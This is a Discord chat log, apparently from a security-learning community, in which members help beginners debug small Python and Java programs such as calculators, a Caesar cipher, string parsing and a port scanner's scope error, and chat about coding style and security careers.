def subtraction():

    cprint.fatal("This is a substraction calculator")
    sub = c - r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(sub)
def multiplication():

    cprint.fatal("This is a multiplication calculator")
    mult = c * r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(mult)
def division():
    cprint.fatal("This is a Division calculator")
    div = c / r
    cprint.warn("Wait while we process your request!")
    time.sleep(1)
    cprint.ok(div)

try:
    if a == "a":
        addition()
    if a == "s":
        subtraction()
    if a == "m":
        multiplication()
    if a == "d":
        division()
except Exception as e:
 cprint.err("There was an error! Error: \n", e)
remote echo
#

It's gonna crash if i give something instead of numbers

#

Cuz it can't convert it to int

restive fossil
#

ooops

#

ye

#

ill fix that

solar hull
#

Think about providing the values as parameters to the functions instead of using globals.

onyx merlin
#

Something something pure functions good habit

magic falcon
#

Another thing to consider is the 'DRY' principle.

onyx merlin
magic falcon
#

Agreed.

onyx merlin
#

I find myself using it in essays quite often. You can re-emphasise a point, but don't repeat yourself

magic falcon
#

Essay writing is the most underrated skill learned during undergrad.

vernal vigil
onyx merlin
#

Discord's improved how large code blocks are handled, but that's a good idea

glad trail
#

saw statistics in class on the most common reasons for companies getting breached.
why are bad passwords and clicking on unknown links still in the top 5 in 2021 pepehands

#

'OH an email from Brad down in accounting! doesn't look like the company email, but it says it's Brad!' like...why

mortal flint
#

Because software security is getting slightly better, but people are still stupid 🤷‍♂️

glad trail
#

edit: didn't realize i put that in programming. unrelated, so removed

magic falcon
#

You ever see the XKCD about blockchain securing voting machines? That pretty much applies everywhere.

surreal bronze
#

!xkcd 2267 nvm

narrow terraceBOT
#
TryHackMe
Orbital Mechanics

To be fair, my job at NASA was working on robots and didn't actually involve any orbital mechanics. The small positive slope over that period is because it turns out that if you hang around at NASA, you get in a lot of conversations about space.

magic falcon
#

Not either of those just a minute

#

!xkcd 2030

narrow terraceBOT
#
TryHackMe
Hand Sanitizer

Hipster CDC Reports Flu Epidemic Peaked Years Ago

magic falcon
#

nope

surreal bronze
#

I think it does it randomly :(

magic falcon
#
#

yeah

#

here's the one i was thinking of

glad trail
#

yeah, that's basically the gist of the lesson lol
"secure" program engineers always shore up any vulnerabilities that THEY can think of. they don't plan for Bob to faceroll the keyboard and somehow set off a nuke

magic falcon
#

security is also really hard to implement correctly

#

there is always a gap between the theory that demonstrates correctness and the limitation of the implementing system

glad trail
#

it definitely gets more and more interesting as we learn in class. what i'm getting out of it is, there will ALWAYS be a job for a programmer with a mind for security. either finding and exploiting others mistakes, or fixing my own.

surreal bronze
lilac holly
#

Anyone knows a good way to convert a LocalDateTime Object into unix timestamp in Java?

lilac holly
#

Nevermind I found a way.

magic falcon
#

Unix timestamp, in raw format, is number of seconds since Jan 1 970 UTC.

lilac holly
#

Yep, I found a way to get it.

#

Date and times are sometimes weird things in programming since they are objects on their own.

magic falcon
#

Not really? ultimately its a count since some arbitrary time.

#

The objects used to represent that can get pretty funky, but regardless of language, that's the intent

lilac holly
#

alright chief

opaque coral
#

anyone here good at python would appreciate if you could dm me

onyx merlin
#

Why not just ask here?

#

Then if someone can answer your question, they will know?

opaque coral
#

how can i put the code in here in a box like this

opaque coral
#

ty bro

#
    message = message.upper()
    alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    result = ""

    for letter in message:
        if letter in alpha: #if the letter is actually a letter
            #find the corresponding ciphertext letter in the alphabet
            letter_index = (alpha.find(letter) + key) % len(alpha)

            result = result + alpha[letter_index]
        else:
            result = result + letter

    return result


def decrypt(cipher):
    k1 = int (input("Enter Shift amount that you used for encryption: "))
    k2 = int (input("Enter Extra shift amount that you used for encryption: "))
    key = k1 + k2
    cipher = cipher.upper()
    alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    result = ""

    for letter in cipher:
        if letter in alpha: #if the letter is actually a letter
            #find the corresponding plaintext letter in the alphabet
            letter_index = (alpha.find(letter) - key) % len(alpha)

            result = result + alpha[letter_index]
        else:
            result = result + letter

    return result


message = input("Enter Message: ")
key1 = int (input("Enter Shift amount: "))
key2 = int (input("Enter Extra shift amount: "))
key = key1 + key2
cipherText = encrypt(message,key)
print (" ")
print("==================================================================================")
print (" ")
print ("Cipher Text is: " + cipherText)
print (" ")
print("==================================================================================")
print (" ")

choice = input("Would you like to decryp now? (y/n): ")
if ((choice == "y") or (choice == "Y")):
    plainText = decrypt(cipherText)
    print (" ")
    print("==================================================================================")
    print (" ")
    print ("Plain Text is: " + plainText)
    print (" ")
    print("==================================================================================")
    print (" ")
#

wondering if anyone could help me add a hex conversion after the first shift key so choosing the second shift key will shift in hex and the same for decrypt

#

if not thanks anyway

onyx merlin
#

k1 = int (input("Enter Shift amount that you used for encryption: ")) k2 = int (input("Enter Extra shift amount that you used for encryption: ")) key = k1 + k2 this seems totally pointless

#

Seeing as your encrypt and decrypt both take a key in the same way, you should pass them the key as an argument for both instead of having one ask for the key and the other take it as an argument

opaque coral
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

onyx merlin
#

Very much not your brother either

surreal bronze
lilac holly
#
 public static String retractURL() {
           int startIndex = data.indexOf("\"url:\"");
           int startURL = data.indexOf("\"", startIndex);
           int endURL = data.indexOf(("\""), startURL);
           return data.substring(startURL, endURL);
        }```
#

anyone gets why this substring is empty?

#

Am I escaping the characters wrong?

#

ok I did a test it seems to not find the startIndex

humble sandal
#

Have you looked at the values of startURL en endURL ? Maybe the offset for the endURL indexOf needs a +1 to make sure you are not looking at the first " again

lilac holly
#

it's the startIndex that gives -1

#

it seems it doesn't find "url:"

humble sandal
#

sure its "url:" and not "url": ?

lilac holly
#

yeah I just checked that lol

#

you are right

#

am I noob? Yes 🤡

humble sandal
#

Well now you know for next time and if you make another 100 of these mistakes and find the solution you won't be a noob anymore 😉

lilac holly
#

I get a feeling that in a way I will always be a noob 😄

humble sandal
#

Here's a challenge for you; do it again with regexp 😉 see regexr.com to trial and error 😉

lilac holly
#

yeah I've learned about regex but I don't use it as often

#

Only when the search is complex

west agate
#

Regex is rough

#

Hard to debug it too, unless everyone working on the project knows regex well enough

lilac holly
#

Regex is nice though cause you get things faster

west agate
#

Definitely, it's just unclear what certain regex does

#

So your commenting/documentation needs to be better in case you ever want to adjust it

onyx merlin
#

Just don't parse XML/HTML with regex

#

Or JSON etc

lilac holly
#
 public static String extractURL() {
           int startIndex = data.indexOf("\"url\":");
           int startURL = data.indexOf("\"", startIndex + 5);
           int endURL = data.indexOf(("\""), startURL + 1);
           return data.substring(startURL + 1, endURL);
        }```
#

I did this instead lol

lilac holly
#

i got the link I needed so we good

west agate
#

Haha, I once wrote an Instagram bot that actively parsed HTML using Regex

onyx merlin
#

That's what happens to people who parse JSON/XML/HTML with regex. Once per year on Markup Eve.

west agate
#

My first ever C# project. It was glorious and absolutely terrible

lilac holly
#

I need to learn C# at some point

west agate
#

I don't use it anymore now, gave it up like 10 years ago. Mostly work in Go nowadays

lilac holly
#

Go!

west agate
#

Indeed

lilac holly
#

That's a cute language 🙂

west agate
#

It's good fun to write

#

And it's quick as hell

lilac holly
#

Yay finished my project 😄

humble sandal
#

Agreed, if your parsing HTML/XML/JSON you should just use the libs to parse those and navigate the dom/nodes/object

west agate
#

Working with Nokogiri on Ruby ❤️

lilac holly
#

Hi there!

#

can anyone do this task

#

extract ifindex of any interfaceAlias using python from the os.system() output of this command>>

powershell -command "Get-NetIPInterface | select ifIndex,InterfaceAlias,AddressFamily,ConnectionState,Forwarding | Sort-Object -Property IfIndex | Format-Table"

lilac holly
#

You even added a cool factor 😂

spring rune
wind kayak
#

Hello, I've got a simple question. I'm having this problem,
I want to use the length of a list + 1 to make my new list so for example the list LIST I want to do this

  1. LIST = list(range(1, LenLIST + 1))
  2. LenLIST = len(LIST)

But the problem is LenLIST is not defined yet when trying to run the first line, but if I switch them around LIST is not defined yet.

#

This is in python btw

#

I think I fixed it by doing this
Goalnum = []
Goalnumlen = []

for number in Goalnum and number in Goalnumlen:
Goalnum = list(range(1, number + 1))
Goalnumlen = number

cursive orchid
#

if you saw that huge block from me nvm i fixed it

restive fossil
#

`def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc

password = "pureelpbxr"
ans = ''

test = "qwertyuiopasdfghjklzxcvbnm"
for i in password:
for j in test:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`

#

so whats the point of "for i in password:" showing up before "for j in test:"

solar hull
#

Think about what it would do. the code doesn’t seem to make a lot of sense to me, tbh

lilac holly
lilac holly
restive fossil
#

im trying to understand it

#

because im learning python atm

restive fossil
#

but would there be a difference in the result if you put for j in test: before for i in password: ?

lilac holly
#

Basically it's comparing every index value of that string with encoded index of test...if that matches will bring you the output

lilac holly
restive fossil
#

but still the same result?

lilac holly
#

Which makes no sense

restive fossil
#

lemme try changing the order and ill send the result

#

hmm, why did that happen

#

btw this is after changing the order of the for's

lilac holly
#

Show your code

dusty fable
#

hey whats ur opinion on learning python from pentester academy or any other good resourses

restive fossil
#

`#!/usr/bin/python3
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc

password = "pureelpbxr"
ans = ''

test = "qwertyuiopasdfghjklzxcvbnm"
for j in test:
for i in password:
ra = encode(j)
if ra == i:
ans += j
break
print(ans)`

#

this is after changing the order

#

of the for's

#

if i switch it back to normal

#

i get the correct answer

#

which is cherrycoke

vernal vigil
#

yk, one of the tricks ive learnt is, whenever you're unsure about what the codes does.. just print out the variables, it will give you a simple yet a vague idea about whats happening

#

[Although ive never used this for a very big or a very small piece of code.. ]

Also this is irrelevant in this situation lmao

lilac holly
#

If your first index of test get's matched with your any index of password it'll print

restive fossil
#

ohhhhhhh

#

that makes a bunch of sense

fading lark
#

what do line 4 and 5 do?

#

; var int32_t var_8h @ rbp-0x8 etc

remote echo
#

; means it's a comment. Comment telling var_8h of type int32 is stored at rbp-0x8

#

It's like telling offset of variables ig

remote echo
#

@fading lark ^

fading lark
#

ohh okay

wispy kestrelBOT
#

Gave +1 Rep to @remote echo

glad trail
#

trying to stuff python into my brain to really master it. but it's taking away from my study on thm. would it be feasible to combine the two? tackle some easy boxes, but automate everything i'm doing with python scripts? or would that be a waste of time?

#

during my studies i did come across a python script that automated the entire enumeration of a network. so i'm wondering if it's possible (worth while from a study stand point) to automate an entire attack.

cursive orchid
dusty ore
#

I need help

#
#!/usr/bin/env python
import math
def ptbac2(a,b,c):
    #if(a,b,c<=-1000) or (a,b,c>=1000): return "NO"
    if(a==0):
        if(b==0):
            print("NO")
        else: print(-c/b)
        return
    delta=b**2-4*a*c
    if (delta > 0):
        x1=(-b+math.sqrt(delta))/2*a
        x2=(-b-math.sqrt(delta))/2*a
        if(x1<=x2): print(x1,x2)
        else: print(x2,x1)
    elif(delta==0):
        return (-b/2*a)
    else:
        return("NO")
a,b,c=[int(x) for x in input().split()]
print(ptbac2(a,b,c))
#

input: 1 -3 2
output: 1.0 2.0 None

#

How do I remove None from my output?

vernal vigil
#

remove last print statement

#

just call the function

dusty ore
#

woa what a magic

#

Thanks @west abyss

wispy kestrelBOT
#

Gave +1 Rep to @west abyss

dusty ore
#

wrong per

#

thanks @vernal vigil

vernal vigil
#

lmao

dusty ore
#

rip no rep for you

vernal vigil
#

all good

dusty ore
#

sorry Potat0 for randomly pinging you btw

dusty ore
#

I need help with python again
I want to get input from user. They will enter 3 variables: a,o,b and they are separated with spaces. With a,b being float values, and o is operator. How do I do that?

ex:
input: 1 + 3
output: 4

I tried this:
a,o,b=[ float(x) for x in input().split() ]
But obviously i got the error: ValueError: could not convert string to float: '+'

onyx merlin
#

Treat them as strings immediately, convert only a and b to floats

dusty ore
#

I see

#

Thanks

#

How stupid of me

wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

onyx merlin
dusty ore
#

I should ask less

onyx merlin
#

That comes with experience

#

But the one major skill I'd recommend practising now is rubber duck debugging

dusty ore
#

What

#

That is a thing?

onyx merlin
#

Yes

dusty ore
#

Okay, imma check it later

#

seems interesting to learn

onyx merlin
#

It's a core skill IMO

dusty ore
#

Hi, I need help again ;-;
a,o,b=[ str(x) for x in input().split() ]
How do I check if a variable or more is missing input from the user?

onyx merlin
#

Check the length of it?

#

Check if it's ==""?

dusty ore
#

I did

#

But if that case happens then i get this error ValueError: not enough values to unpack (expected 3, got 2)

onyx merlin
#

So maybe you need to break that out from a single line

#

One liners are great until you need to handle different situations

dusty ore
#

But I'm required to type them in one line

#

🤔

#

What to do now. Hmm

dusty ore
#

Thanks again James

vocal canyon
#

Hey guys anyone able to help me with a problem in python?

thin shoal
vocal canyon
#

Port scanner

#

Easy port scanner

#

I’m getting a name error even though it is defined

thin shoal
vocal canyon
#

Can you video chat?

thin shoal
#

no

vocal canyon
#

I can share screen

thin shoal
#

post it here

vocal canyon
#

Kk

#

It doesn’t let me share pictures

#

Or upload

vernal vigil
#

!docs verify

narrow terraceBOT
vernal vigil
#

you have verify yourself first

vocal canyon
#

Oh okay

#

i did and it didnt do anython

#

i have my token and pasted it

vernal vigil
#

¯_(ツ)_/¯

restive fossil
vernal vigil
vocal canyon
#

yep!

cursive orchid
vocal canyon
#

i pasted it in the bot thing

vernal vigil
#

yep to what?

cursive orchid
#

can't remember which it is from because i didn't take notes tho

restive fossil
vocal canyon
#

i was pasting it

#

the token

cursive orchid
#

i might be wrong about that

restive fossil
#

oh sorry do i delete the code

cursive orchid
#

dm me and tell me whih ctf it's from

vernal vigil
#

.. which token?

vocal canyon
#

just says your discord token is:

#

got it

#

Just confused on why it’s giving me the error when it’s defined above

#

@thin shoal

thin shoal
#

try with python3 scanner.py 192.168.0.1

vocal canyon
#

Still same

thin shoal
#

lmao ok so basically u defined the variable target inside the if statement thats why

onyx merlin
#

The key word is scope

vocal canyon
#

Ohh

#

So then where would I put this? Before ?

thin shoal
#

put print scanning inside the if statement

#

the entire port scan would be inside the if statement

vocal canyon
#

Okay

vernal vigil
#

your If condition isn't statisfying

vocal canyon
#

Trying that

surreal bronze
#

or you could just exit the program if its invalid

onyx merlin
#

Jayy it's the variable scope but ok

thin shoal
vernal vigil
#

yeah out of scope

surreal bronze
thin shoal
#

i thought i would code it for him but then changed my mind lol

#

cuz yk better to learn by ur own hands

onyx merlin
#

Yeah, but that doesn't address the problem. It wouldn't fix it because the variable would be destroyed after the if statement

#

The scope of target is just the if statement

vocal canyon
#

That’s why I’m stumped

#

Haha

#

I was like it’s there

onyx merlin
#

Define it before the if statement to give it global scope.

surreal bronze
# vocal canyon
if len(sys.argv) == 2:
  target = <whatever it is>
else:
  print("Please give a target")
  exit(0)
onyx merlin
#

Jayy. Plz.

vernal vigil
#

also, you could've just copy pasted the code here.. there was no need for verifying but hey!. welcome to the community

surreal bronze
#

:((

thin shoal
#

@vocal canyon try using click or argparse instead for making the cli usage better

onyx merlin
#

Python weird

vernal vigil
#

Java best

thin shoal
surreal bronze
#

Java isn't that bad

#

Its not going "dead" and it has got pretty decent updates over the time

thin shoal
#

imagine having the main as class lmfao

#

im dead

vocal canyon
#

Thanks lol

#

Yeah I’m stumped 😦

vernal vigil
#

its bad but its not that bad and its not going anywhere for a good amount of time

#

it will stay and haunt everyone.

dusty ore
#

I need a hint, if you can spare your time ^^
Our earth takes 365.25 days to make a full circle around the sun but this number has been rounded up, the exact day the earth needs to circle around the earth is 365.2425 . The difference between these values is 0.0075 . Therefore when multiplying 365.2425 by 400. We get an additional of 3 days. Then we can say that every 400 years, we will have 97 leap years (24+24+24+25). Write a program that checks if the value "year" from the user's input is a leap year
I tried to figure out but I give up. Can someone gives me a hint?

#

Btw I translated the question from Vietnamese, So sorry cause there maybe are mistakes in grammar

vernal vigil
#

uhh google "Leap year program in ____ language" , i guess you'll find some answers/codes/explanation

dusty ore
#

oh that's easy

surreal bronze
#

Give me a sec

#

I think I did something like this before

dusty ore
#

Oh okay

surreal bronze
onyx merlin
#

also python weird, I maintain

thin shoal
vocal canyon
#

This is annoying lol

surreal bronze
#

Whats up?

surreal bronze
thin shoal
#

btw is it a good idea to remake hashcat in cpp?

#

with the open64 sdk?

#

only for amd gpus

#

cuz thats what i have atm

onyx merlin
#

No I think that's not a good idea

thin shoal
#

explain

onyx merlin
#

GPU programming is annoying

#

IMO for projects, you want some novelty to them.
Something that your project does differently to existing solutions

thin shoal
#

cant think of anything atm tbh, mind giving an idea "related to hacking problems" that can be solved with cpp according to ya?

#

or doesnt have to be cpp specific , just gimme problems

#

will try to do it in any lang ik if possible

thin shoal
magic falcon
# thin shoal with the open64 sdk?

the amdappsdk is pretty good, but learning OpenCL is not trivial. The hello world example project for OpenCL takes about an hour to do, if you don't have dependencies to troubleshoot.

magic falcon
thin shoal
vocal canyon
#

Wow

#

I’m actually an idiot

#

Literally got it working -_-

thin shoal
vocal canyon
#

😂

onyx merlin
#

@thin shoal Let's not be mean though

vocal canyon
#

Target needed to be inputted

thin shoal
vocal canyon
#

Yeah it was working the first time for some reason -_-

#

Python needs to be spanked

magic falcon
thin shoal
mortal flint
#

There's also a pin with a bunch of project ideas

dusty ore
#

Guys how can I take 2 inputs in one line?

#

And I want the first one to be int , 2nd to be float

#

python btw

#

Sorry for late reply

vernal vigil
#

uh ..
[input() for i in range(2)] ..?

dusty ore
#

x,n=[int(x) for x in input().split()]
This is what i've been using

magic falcon
#

Most not-totally-garbage languages allow you to split input on a delimiter. Specifically, you are looking for string stream and input libraries.

dusty ore
vernal vigil
#

no it will be a list

dusty ore
#

hmm

magic falcon
#

Potato's list comprehension should generate a list of string objects

vernal vigil
#

ye ye,, but it will come out as a list.. then they can iterate over it

dusty ore
#
x,n=[(x) for x in input().split()]
x=float(x)
n=int(n)```
magic falcon
#

Yeah, I get what you mean. However, that is prompting for separate inputs. My reading of the ask is to read multiple values from a single input. Reading from stdin can be done with a generator pattern, or reading from stdin once and splitting on a delimiter

dusty ore
#

I did this and i think it works

#

But it doesn't look pretty-organized in one line of code

#

But who cares btw. Thanks guys

vernal vigil
#

x,n = [int(input()) if i == 0 else float(input()) for i in range(2)]

#

you can go like this ig, but thatd not really be efficient in any way

wispy kestrelBOT
#

Gave +1 Rep to @vernal vigil

vernal vigil
#

it wont really work.. bcz.. ree

dusty ore
#

I see

dusty ore
vernal vigil
#

you can have that exact same fail-case

#

nvm

#

scratch that

remote echo
#

U took long to find that

vernal vigil
#

yeah lmao

dusty ore
#

I think my brain is dying

#

Can you guys give me a hint on how to solve this?

#

Input: float(x) int(n)

#

output: float(s)

#

Example:
input: 2 2
output: 4.00

#

My code (sorry im kinda noob)

#

But I got different output

onyx merlin
dusty ore
#

yes

onyx merlin
#

just... return math.e ezpz

dusty ore
#

pardon me but what is that

magic falcon
#

You can always convert a series calcuation to the closed form as well.

vernal vigil
#

the equation is like output == (x^n / n) for n in some range

#

and add the result to previous outputs..?

dusty ore
#

Now I got 3.0 instead of 4.0

vernal vigil
dusty ore
#

Hmm can you see my code?

#

I don't know what's wrong

#

Changed to while loop and now it works

#

Have no idea

#

I think for in range loop stops when m is equal to n

#

Anyway thanks

true pumice
#

No offence but your code is almost impossible to read

onyx merlin
#

Yeah I do not like those variable names

true pumice
#

^

vernal vigil
#

uh, i didnt read the code .. i just gave that equation to you and went off, my bad..
but ye agreed ^ gib good names